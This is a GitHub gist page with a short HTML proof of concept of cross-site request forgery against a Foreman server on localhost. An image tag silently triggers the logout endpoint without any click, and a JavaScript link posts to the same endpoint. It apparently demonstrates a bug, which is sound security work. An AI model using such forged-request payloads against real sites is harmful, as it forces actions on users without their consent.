Skip to content

Instantly share code, notes, and snippets.

@dLobatog
Last active August 29, 2015 14:06
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save dLobatog/02fd8b241da3ae6b5e71 to your computer and use it in GitHub Desktop.
Save dLobatog/02fd8b241da3ae6b5e71 to your computer and use it in GitHub Desktop.
<html>
<script type="text/javascript" src="jquery-1.7.2.js"></script>
<script language="javascript">
function foremanLogout(){
$.post("http://localhost:3000/users/logout", { } );
}
</script>
<body>
<img src='http://localhost:3000/users/logout?method=post'/> <!-- log out without user clicking -->
<a href="javascript:foremanLogout()">Spoof logout link via js</a>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment